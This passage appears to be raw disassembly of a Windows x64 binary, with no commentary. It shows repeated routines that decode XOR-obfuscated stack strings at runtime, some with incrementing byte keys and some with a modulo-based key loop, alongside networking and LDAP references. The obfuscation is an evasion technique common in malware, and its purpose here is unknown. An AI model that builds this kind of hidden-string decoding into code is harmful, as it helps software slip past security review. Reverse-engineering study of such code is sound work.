mov word [rsp + 0xea], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x1400f96df
mov byte [rsp + 0xd2], WSAStartup
xor byte [rsp + 0xd3], 0x37
xor byte [rsp + 0xd4], 0x38
xor byte [rsp + 0xd5], 0x39
xor byte [rsp + 0xd6], 0x3a
xor byte [rsp + 0xd7], 0x3b
xor byte [rsp + 0xd8], 0x3c
xor byte [rsp + 0xd9], 0x3d
xor byte [rsp + 0xda], 0x3e
xor byte [rsp + 0xdb], 0x3f
xor byte [rsp + 0xdc], 0x40
xor byte [rsp + 0xdd], 0x41
xor byte [rsp + 0xde], 0x42
xor byte [rsp + 0xdf], 0x43
xor byte [rsp + 0xe0], 0x44
xor byte [rsp + 0xe1], 0x45
xor byte [rsp + 0xe2], 0x46
xor byte [rsp + 0xe3], 0x47
xor byte [rsp + 0xe4], 0x48
xor byte [rsp + 0xe5], 0x49
xor byte [rsp + 0xe6], 0x4a
xor byte [rsp + 0xe7], 0x4b
xor byte [rsp + 0xe8], 0x4c
xor byte [rsp + 0xe9], 0x4d
xor byte [rsp + 0xea], 0x4e
xor byte [rsp + 0xeb], 0x4f
lea rdx, [rsp + 0xd2]
lea rcx, [rsp + 0x1308]
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [str.XRLJReUSJ]
vmovups xmmword [rsp + 0xec], xmm0
vmovsd xmm0, qword [0x1401ea6d0]
vmovsd qword [rsp + 0xfc], xmm0
movzx eax, word [0x1401ea6d8]
mov word [rsp + 0x104], ax
lea rdx, [rsp + 0xec]
lea rcx, [rsp + 0x1328]
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x1400f981a
mov byte [rsp + 0xec], WSAStartup
xor byte [rsp + 0xed], 0x37
xor byte [rsp + 0xee], 0x38
xor byte [rsp + 0xef], 0x39
xor byte [rsp + 0xf0], 0x3a
xor byte [rsp + 0xf1], 0x3b
xor byte [rsp + 0xf2], 0x3c
xor byte [rsp + 0xf3], 0x3d
xor byte [rsp + 0xf4], 0x3e
xor byte [rsp + 0xf5], 0x3f
xor byte [rsp + 0xf6], 0x40
xor byte [rsp + 0xf7], 0x41
xor byte [rsp + 0xf8], 0x42
xor byte [rsp + 0xf9], 0x43
xor byte [rsp + 0xfa], 0x44
xor byte [rsp + 0xfb], 0x45
xor byte [rsp + 0xfc], 0x46
xor byte [rsp + 0xfd], 0x47
xor byte [rsp + 0xfe], 0x48
xor byte [rsp + 0xff], 0x49
xor byte [rsp + 0x100], 0x4a
xor byte [rsp + 0x101], 0x4b
xor byte [rsp + 0x102], 0x4c
xor byte [rsp + 0x103], 0x4d
xor byte [rsp + 0x104], 0x4e
xor byte [rsp + 0x105], 0x4f
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [str.XRLJReKTPL___c6_5__it_9_N]
vmovups xmmword [rsp + 0x9f], xmm0
vmovsd xmm0, qword [0x1401ea6f0]
movzx eax, byte [0x1401ea6f8]
vmovsd qword [rsp + 0xaf], xmm0
mov byte [rsp + 0x9f], WSAStartup
xor byte [rsp + 0xa0], 0x37
xor byte [rsp + 0xa1], 0x38
xor byte [rsp + 0xa2], 0x39
xor byte [rsp + 0xa3], 0x3a
xor byte [rsp + 0xa4], 0x3b
xor byte [rsp + 0xa5], 0x3c
xor byte [rsp + 0xa6], 0x3d
xor byte [rsp + 0xa7], 0x3e
xor byte [rsp + 0xa8], 0x3f
xor byte [rsp + 0xa9], 0x40
xor byte [rsp + 0xaa], 0x41
xor byte [rsp + 0xab], 0x42
xor byte [rsp + 0xac], 0x43
xor byte [rsp + 0xad], 0x44
xor byte [rsp + 0xae], 0x45
xor byte [rsp + 0xaf], 0x46
xor byte [rsp + 0xb0], 0x47
xor byte [rsp + 0xb1], 0x48
xor byte [rsp + 0xb2], 0x49
xor byte [rsp + 0xb3], 0x4a
xor byte [rsp + 0xb4], 0x4b
xor byte [rsp + 0xb5], 0x4c
xor byte [rsp + 0xb6], 0x4d
xor al, 0x4e
mov byte [rsp + 0xb7], al
lea rdx, [rsp + 0x9f]
lea rcx, [rsp + 0x1348]
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [str.FXOHHTXRS_710__.i..__:p_:20:__xv_70_1]
vmovups ymmword [rsp + 0x168c], ymm0
vmovsd xmm0, qword [0x1401ea720]
vmovsd qword [rsp + 0x16ac], xmm0
mov eax, dword [0x1401ea728]
mov dword [rsp + 0x16b4], eax
movzx eax, byte [0x1401ea72c]
mov byte [rsp + 0x16b8], al
mov r10d, ebx
lea r9, [rsp + 0x168d]
nop
lea r8d, [r10 - 2]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
lea ecx, [r10 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9 + 1], al
lea ecx, [r10 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9 + 2], al
lea ecx, [r10 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9 + 3], al
lea ecx, [r10 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3b
xor byte [r9 + 4], al
lea ecx, [r10 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3c
xor byte [r9 + 5], al
lea ecx, [r10 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3d
xor byte [r9 + 6], al
lea ecx, [r10 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3e
xor byte [r9 + 7], al
lea ecx, [r10 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3f
xor byte [r9 + 8], al
lea ecx, [r10 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x40
xor byte [r9 + 9], al
lea ecx, [r10 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x41
xor byte [r9 + 0xa], al
lea ecx, [r10 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x42
xor byte [r9 + 0xb], al
lea ecx, [r10 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x43
xor byte [r9 + 0xc], al
lea ecx, [r10 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
sub r8b, cl
add r8b, 0x44
xor byte [r9 + 0xd], r8b
add r10d, 0xf
lea r9, [r9 + 0xf]
lea eax, [r10 - 2]
cmp eax, 0x2d
jl 0x1400f9980
lea rdx, [rsp + 0x168c]
lea rcx, [rsp + 0x1368]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [str.FXOHHTXRS_]
vmovups ymmword [rsp + 0x1619], ymm0
mov eax, dword [0x1401ea750]
mov dword [rsp + 0x1639], eax
movzx ecx, byte [0x1401ea754]
mov byte [rsp + 0x1619], 0x70
xor byte [rsp + 0x161a], 0x37
xor byte [rsp + 0x161b], 0x38
xor byte [rsp + 0x161c], 0x39
xor byte [rsp + 0x161d], 0x3a
xor byte [rsp + 0x161e], 0x3b
xor byte [rsp + 0x161f], 0x3c
xor byte [rsp + 0x1620], 0x3d
xor byte [rsp + 0x1621], 0x3e
xor byte [rsp + 0x1622], 0x3f
xor byte [rsp + 0x1623], 0x40
xor byte [rsp + 0x1624], 0x41
xor byte [rsp + 0x1625], 0x42
xor byte [rsp + 0x1626], 0x43
xor byte [rsp + 0x1627], 0x44
xor byte [rsp + 0x1628], 0x45
xor byte [rsp + 0x1629], 0x46
xor byte [rsp + 0x162a], 0x47
xor byte [rsp + 0x162b], 0x48
xor byte [rsp + 0x162c], 0x49
xor byte [rsp + 0x162d], 0x4a
xor byte [rsp + 0x162e], 0x4b
xor byte [rsp + 0x162f], 0x4c
xor byte [rsp + 0x1630], 0x4d
xor byte [rsp + 0x1631], 0x4e
xor byte [rsp + 0x1632], 0x4f
xor byte [rsp + 0x1633], 0x50
xor byte [rsp + 0x1634], 0x51
xor byte [rsp + 0x1635], 0x52
xor byte [rsp + 0x1636], 0x53
xor byte [rsp + 0x1637], 0x54
xor byte [rsp + 0x1638], 0x55
xor al, 0x56
mov byte [rsp + 0x1639], al
xor byte [rsp + 0x163a], 0x57
xor byte [rsp + 0x163b], 0x58
xor byte [rsp + 0x163c], 0x59
xor cl, 0x5a
mov byte [rsp + 0x163d], cl
lea rdx, [rsp + 0x1619]
lea rcx, [rsp + 0x1388]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea758]
vmovups ymmword [rsp + 0x1589], ymm0
mov eax, dword [0x1401ea778]
mov dword [rsp + 0x15a9], eax
mov byte [rsp + 0x1589], 0x66
xor byte [rsp + 0x158a], 0x37
xor byte [rsp + 0x158b], 0x38
xor byte [rsp + 0x158c], 0x39
xor byte [rsp + 0x158d], 0x3a
xor byte [rsp + 0x158e], 0x3b
xor byte [rsp + 0x158f], 0x3c
xor byte [rsp + 0x1590], 0x3d
xor byte [rsp + 0x1591], 0x3e
xor byte [rsp + 0x1592], 0x3f
xor byte [rsp + 0x1593], 0x40
xor byte [rsp + 0x1594], 0x41
xor byte [rsp + 0x1595], 0x42
xor byte [rsp + 0x1596], 0x43
xor byte [rsp + 0x1597], 0x44
xor byte [rsp + 0x1598], 0x45
xor byte [rsp + 0x1599], 0x46
xor byte [rsp + 0x159a], 0x47
xor byte [rsp + 0x159b], 0x48
xor byte [rsp + 0x159c], 0x49
xor byte [rsp + 0x159d], 0x4a
xor byte [rsp + 0x159e], 0x4b
xor byte [rsp + 0x159f], 0x4c
xor byte [rsp + 0x15a0], 0x4d
xor byte [rsp + 0x15a1], 0x4e
xor byte [rsp + 0x15a2], 0x4f
xor byte [rsp + 0x15a3], 0x50
xor byte [rsp + 0x15a4], 0x51
xor byte [rsp + 0x15a5], 0x52
xor byte [rsp + 0x15a6], 0x53
xor byte [rsp + 0x15a7], 0x54
xor byte [rsp + 0x15a8], 0x55
xor al, 0x56
mov byte [rsp + 0x15a9], al
xor byte [rsp + 0x15aa], 0x57
xor byte [rsp + 0x15ab], 0x58
xor byte [rsp + 0x15ac], 0x59
lea rdx, [rsp + 0x1589]
lea rcx, [rsp + 0x13a8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea780]
vmovups ymmword [rsp + 0x15ad], ymm0
mov eax, dword [0x1401ea7a0]
mov dword [rsp + 0x15cd], eax
mov byte [rsp + 0x15ad], 0x66
xor byte [rsp + 0x15ae], 0x37
xor byte [rsp + 0x15af], 0x38
xor byte [rsp + 0x15b0], 0x39
xor byte [rsp + 0x15b1], 0x3a
xor byte [rsp + 0x15b2], 0x3b
xor byte [rsp + 0x15b3], 0x3c
xor byte [rsp + 0x15b4], 0x3d
xor byte [rsp + 0x15b5], 0x3e
xor byte [rsp + 0x15b6], 0x3f
xor byte [rsp + 0x15b7], 0x40
xor byte [rsp + 0x15b8], 0x41
xor byte [rsp + 0x15b9], 0x42
xor byte [rsp + 0x15ba], 0x43
xor byte [rsp + 0x15bb], 0x44
xor byte [rsp + 0x15bc], 0x45
xor byte [rsp + 0x15bd], 0x46
xor byte [rsp + 0x15be], 0x47
xor byte [rsp + 0x15bf], 0x48
xor byte [rsp + 0x15c0], 0x49
xor byte [rsp + 0x15c1], 0x4a
xor byte [rsp + 0x15c2], 0x4b
xor byte [rsp + 0x15c3], 0x4c
xor byte [rsp + 0x15c4], 0x4d
xor byte [rsp + 0x15c5], 0x4e
xor byte [rsp + 0x15c6], 0x4f
xor byte [rsp + 0x15c7], 0x50
xor byte [rsp + 0x15c8], 0x51
xor byte [rsp + 0x15c9], 0x52
xor byte [rsp + 0x15ca], 0x53
xor byte [rsp + 0x15cb], 0x54
xor byte [rsp + 0x15cc], 0x55
xor al, 0x56
mov byte [rsp + 0x15cd], al
xor byte [rsp + 0x15ce], 0x57
xor byte [rsp + 0x15cf], 0x58
xor byte [rsp + 0x15d0], 0x59
lea rdx, [rsp + 0x15ad]
lea rcx, [rsp + 0x13c8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea7a8]
vmovups ymmword [rsp + 0x15d1], ymm0
mov eax, dword [0x1401ea7c8]
mov dword [rsp + 0x15f1], eax
mov byte [rsp + 0x15d1], 0x66
xor byte [rsp + 0x15d2], 0x37
xor byte [rsp + 0x15d3], 0x38
xor byte [rsp + 0x15d4], 0x39
xor byte [rsp + 0x15d5], 0x3a
xor byte [rsp + 0x15d6], 0x3b
xor byte [rsp + 0x15d7], 0x3c
xor byte [rsp + 0x15d8], 0x3d
xor byte [rsp + 0x15d9], 0x3e
xor byte [rsp + 0x15da], 0x3f
xor byte [rsp + 0x15db], 0x40
xor byte [rsp + 0x15dc], 0x41
xor byte [rsp + 0x15dd], 0x42
xor byte [rsp + 0x15de], 0x43
xor byte [rsp + 0x15df], 0x44
xor byte [rsp + 0x15e0], 0x45
xor byte [rsp + 0x15e1], 0x46
xor byte [rsp + 0x15e2], 0x47
xor byte [rsp + 0x15e3], 0x48
xor byte [rsp + 0x15e4], 0x49
xor byte [rsp + 0x15e5], 0x4a
xor byte [rsp + 0x15e6], 0x4b
xor byte [rsp + 0x15e7], 0x4c
xor byte [rsp + 0x15e8], 0x4d
xor byte [rsp + 0x15e9], 0x4e
xor byte [rsp + 0x15ea], 0x4f
xor byte [rsp + 0x15eb], 0x50
xor byte [rsp + 0x15ec], 0x51
xor byte [rsp + 0x15ed], 0x52
xor byte [rsp + 0x15ee], 0x53
xor byte [rsp + 0x15ef], 0x54
xor byte [rsp + 0x15f0], 0x55
xor al, 0x56
mov byte [rsp + 0x15f1], al
xor byte [rsp + 0x15f2], 0x57
xor byte [rsp + 0x15f3], 0x58
xor byte [rsp + 0x15f4], 0x59
lea rdx, [rsp + 0x15d1]
lea rcx, [rsp + 0x13e8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [str.PDMMSW]
vmovups ymmword [rsp + 0x15f5], ymm0
mov eax, dword [0x1401ea7f0]
mov dword [rsp + 0x1615], eax
mov byte [rsp + 0x15f5], 0x66
xor byte [rsp + 0x15f6], 0x37
xor byte [rsp + 0x15f7], 0x38
xor byte [rsp + 0x15f8], 0x39
xor byte [rsp + 0x15f9], 0x3a
xor byte [rsp + 0x15fa], 0x3b
xor byte [rsp + 0x15fb], 0x3c
xor byte [rsp + 0x15fc], 0x3d
xor byte [rsp + 0x15fd], 0x3e
xor byte [rsp + 0x15fe], 0x3f
xor byte [rsp + 0x15ff], 0x40
xor byte [rsp + 0x1600], 0x41
xor byte [rsp + 0x1601], 0x42
xor byte [rsp + 0x1602], 0x43
xor byte [rsp + 0x1603], 0x44
xor byte [rsp + 0x1604], 0x45
xor byte [rsp + 0x1605], 0x46
xor byte [rsp + 0x1606], 0x47
xor byte [rsp + 0x1607], 0x48
xor byte [rsp + 0x1608], 0x49
xor byte [rsp + 0x1609], 0x4a
xor byte [rsp + 0x160a], 0x4b
xor byte [rsp + 0x160b], 0x4c
xor byte [rsp + 0x160c], 0x4d
xor byte [rsp + 0x160d], 0x4e
xor byte [rsp + 0x160e], 0x4f
xor byte [rsp + 0x160f], 0x50
xor byte [rsp + 0x1610], 0x51
xor byte [rsp + 0x1611], 0x52
xor byte [rsp + 0x1612], 0x53
xor byte [rsp + 0x1613], 0x54
xor byte [rsp + 0x1614], 0x55
xor al, 0x56
mov byte [rsp + 0x1615], al
xor byte [rsp + 0x1616], 0x57
xor byte [rsp + 0x1617], 0x58
xor byte [rsp + 0x1618], 0x59
lea rdx, [rsp + 0x15f5]
lea rcx, [rsp + 0x1408]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea7f8]
vmovups ymmword [rsp + 0x2220], ymm0
vmovups xmm1, xmmword [0x1401ea818]
vmovups xmmword [rsp + 0x2240], xmm1
vmovsd xmm0, qword [0x1401ea828]
vmovsd qword [rsp + 0x2250], xmm0
mov eax, dword [0x1401ea830]
mov dword [rsp + 0x2258], eax
movzx eax, word [0x1401ea834]
mov word [rsp + 0x225c], ax
xor r10d, r10d
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x2220], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2221], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2222], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2223], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2224], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2225], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2226], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2227], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2228], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2229], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x222a], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x222b], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x222c], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x222d], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x222e], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x222f], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2230], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2231], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2232], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2233], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2234], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2235], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2236], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2237], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2238], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2239], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x223a], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x223b], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x223c], al
lea ecx, [r8 + 0x1b]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x223d], al
lea ecx, [r8 + 0x1c]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r10 + 0x223e], al
add r10d, 0x1f
cmp r10d, 0x3e
jl 0x1400fa340
lea rdx, [rsp + 0x2220]
lea rcx, [rsp + 0x1428]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea840]
vmovups ymmword [rsp + 0x229d], ymm0
vmovups ymm1, ymmword [0x1401ea860]
vmovups ymmword [rsp + 0x22bd], ymm1
movzx eax, byte [0x1401ea880]
mov byte [rsp + 0x22dd], al
lea r9, [rsp + 0x229e]
nop dword [rax]
nop word [rax + rax]
lea r8d, [rbx - 2]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
lea ecx, [rbx - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
mov eax, 0x51eb851f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9 + 1], al
lea ecx, [rbx + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9 + 2], al
lea ecx, [rbx + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9 + 3], al
lea ecx, [rbx + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3b
xor byte [r9 + 4], al
lea ecx, [rbx + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3c
xor byte [r9 + 5], al
lea ecx, [rbx + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3d
xor byte [r9 + 6], al
lea ecx, [rbx + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
